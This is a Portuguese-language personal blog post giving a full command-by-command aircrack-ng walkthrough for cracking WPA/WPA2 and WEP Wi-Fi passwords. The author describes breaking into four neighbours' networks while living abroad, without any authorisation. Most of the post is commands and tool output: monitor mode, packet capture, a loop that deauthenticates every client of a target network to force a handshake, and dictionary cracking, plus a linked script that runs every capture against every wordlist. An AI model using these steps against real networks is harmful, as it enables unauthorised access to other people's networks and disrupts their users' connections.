aircrack-ng - Quebrando rede wireless

Created: Jan. 1, 2010, 4 a.m.
Update: Oct. 29, 2020, 6:51 p.m.
Download: media/download/caviar.zip
Viajei um tempo para o exterior para fazer um curso, o tempo que fiquei lá, fiz vários testes para saber mais sobre rede wireless e como quebrar.

Ambiente:
    Ubuntu Linux Desktop
    Thinkpad x201!
    wireless wlan0

Os comandos a seguir devem ser executado como ROOT!
$ = shell command line

AirCrack-ng Manual
https://www.aircrack-ng.org/documentation.html

Passei seis meses no exterior fazendo um curso de inglês. Onde morei era possível detectar mais de vinte redes wireless. Dessas 20, apenas 5 tinham sinal significativo, 4 foram quebradas, 3 com criptografia WAP e uma com WEP e apenas uma tinha conexão rápida com internet, gringos de merdas!

Qual a diferença? Redes WAP ou WAP2 é necessário "word list" (lista de palavras) para ser quebrada, tipo brute force. Para redes WEP é necessário capturar um número de pacotes da rede para conseguir a senha, não precisa de "word list".

Existe um pacote muito bom na rede bittorrent de "word list", algo próximo de 10 GB! :)

Uma das dificuldades era rodar todas as redes capturadas com todos os dicionários, N redes para M dicionários. Se vc capturou 5 redes e vc tem 100 dicionários, são 500 vezes rodando o mesmo comando e alterando o nome do dicionário, trabalho escravo! Para isso criei um shell script (bash) chamado allCapAllDic.sh, caviar é o nome de um cavalo que corre muito rápido!

Como funciona?

Tem os diretórios enable e disable para cap e wordlist. Tudo que está em enable será rodado, caso não encontre ou encontre a senha, a arquivo cap será movido para disable. Caso encontre a senha, será criado um arquivo no formato: NOME_CAP.KEY_FOUND, onde contém a senha da rede.

Mesmo com tudo isso você ainda pode não encontrar a senha, precisa de um pouco de sorte. Procure por redes que tenham muito tráfego, coluna "Data", quanto mais Data mais fácil de capturar pacotes que contenha a senha da rede. A senha pode estar no primeiro "word list", pode estar na ultima palavra do ultimo "word list" ou pode não estar em 10 GB de "world list", então quanto mais "word list" melhor. Procure um máquina rápida, isso vai ajudar a quebrar a senha mais rápido.

Chega de teoria! Mãos na massa!
Todos os comandos devem ser executado como root. Desligue todos os gerenciados de rede, a placa wireless está ligada mas sem nenhum gerenciador.

Instalar pacote AriCrack-ng
$ apt-get update
$ apt-get install aircrack-ng

Qual é sua placa wireless? wlan0? re0?
$ ifconfig

Criar placa rede mon0 virtual modo monitor
$ airmon-ng start wlan0

Interface    Chipset        Driver

wlan0        Intel 4965/5xxx    iwlagn - [phy0]
                (monitor mode enabled on mon0

Importante que não tenha nenhum gerenciador de rede wireless rodando, ficando livre para encontrar todas as redes. Para saber e matar os processos.
$ airmon-ng check

Isso vai matar todos os gerenciados de rede, wireless e wired!
$ airmon-ng check kill

Encontrar redes.

>>> Terminal 1
Use as teclas 's' ou 'a' para organizar as redes pela coluna

$ airodump-ng mon0
CH 12 ][ BAT: 43 mins ][ Elapsed: 1 min ][ 2012-03-30 02:35                                         
BSSID             PWR  Beacons    #Data    #/s      CH    MB    ENC  CIPHER AUTH ESSID
00:11:22:33:44:55:66    -58    10   1    0        1      54    WPA2 CCMP   PSK  RedeWireless

Aqui estão todos os clientes da RedeWireless, vamos usar os macs para similuar o cliente e então receber o pacote com a senha.
00:11:22:33:44:55:66  00:AA:BB:CC:DD  -67    0 -54    0    1
00:11:22:33:44:55:66  II:JJ:KK:XX:YY:ZZ  -64   54 -54    6    76
00:11:22:33:44:55:66 PP:KK:MM:QQ:WW:HH -64   54 -54    6     76

Monitorar uma rede específica e computadores clientes.
$ airodump-ng mon0 --bssid 00:11:22:33:44:55:66 --channel 1

Para capturar pacotes que contem a senha, vamos precisar executar dois comandos diferente em terminais diferentes, por isso
NAO TECLE ENTER AINDA, por isso vamos deixar todos prontos.

>>> Terminal 1
Vamos capturar pacotes de uma rede que contenha a senha.
$ export ESSID="redewireless" # nome da rede
$ export BSSID="00:11:22:33:44:55:66" # mac do radio/AP
$ airodump-ng mon0 --bssid $BSSID --channel 1 -w $ESSID --output-format pcap

>>> Terminal 2
Salve em um arquivo texto TODOS os macs dos clientes no arquivo /tmp/clients, um mac embaixo do outro, exemplo:
00:AA:BB:CC:DD
II:JJ:KK:XX:YY:ZZ
PP:KK:MM:QQ:WW:HH

Em outro terminal vamos simular todos os clientes da rede. Vamos exporta as variaveis.
(1) $ export BSSID="00:11:22:33:44:55:66" # mac do radio/AP
(2) $ export CLIENTS="/tmp/clients" # mac dos clientes, lista.
(3) $ for C in `cat $CLIENTS`; do aireplay-ng -0 25 -a $BSSID -c $C mon0; done;

Se quiser rodar capturar outra rede, basta criar nova lista de clientes, /tmp/clients1 (3) , alterar BSSID (1) e roda o comando o FOR novamente (3)

>>> Terminal 3
Para saber se os pacotes capturados contém a senha, execute o comando abaixo para rede WAP ou WAP2:
$ aircrack-ng redewireless.cap -w caviar/wordlist/enable/D8.DIC

Abaixo mostra que a captura dos pacotes não contem a senha, você precisa capturar mais pacotes, execute novamente o comando do terminal 2, aireplay.
NO handshake! Read 58762 packets.
#  BSSID        ESSID                     Encryption
1  00:11:22:33:44:55:66 RedeWireless             WPA (0 handshake)
No valid WPA handshakes found..

Aqui SIM temos a senha no arquivo redewireless.cap do terminal 1.
1  00:11:22:33:44:55:66    RedeWireless             WPA (1 handshake)

Execute o comando de cada terminal.
Terminal 1 : caputrar os pacotes da rede e escrever no arquivo de saida redewireles.cap
Terminal 2 : simular, fazer request como os computadores clientes da rede para pegar pacotes de dados e senha.
Terminal 3: verificar se a senha foi capturada no arquivo wireless.cap.

Assim que conseguir (1 handshake) pode parar todos os comandos com crtl+c nos terminais 1,2 e 3.
Agora que vc tem o arquivo CAP com a senha vc pode usar o script allCapAllDic.sh para testar em todos
os seus dicionarios com aircrack-ng se a rede usa criptografica WAP ou WAP2.

Para rede WEP é sem word list, apenas:
$ aircrack-ng NOME_ARQUIVO.cap

Apagar placa rede mon0, virtual mode monitor.
$ airmon-ng stop wlan0

ERRO! Quanda não muda o canal do wireless, alterar para modo Manager, alterar o canal e depois voltar para modo monitor. Segue abaixo os comandos.
root@aix:~# aireplay-ng -0 25 -a 99:88:77:66:55:88 -c 00:55:99:77:BB:EE mon0
02:42:03  Waiting for beacon frame (BSSID: 99:88:77:66:55:88) on channel -1
02:42:03  mon0 is on channel -1, but the AP uses channel 1

Solução!
Para todos os processos de captura, irodump ou aireply-ng e siga os comandos abaixo:

$ ifconfig mon0 down
$ iwconfig mon0 mode manager
$ ifconfig mon0 up
$ iwconfig mon0 channel <canal>
$ ifconfig mon0 down
$ iwconfig mon0 mode monitor
$ ifconfig mon0 up

Tiago de Souza Moraes - teago.futuria.com.br - 2020 // CSS by UIKIT CSS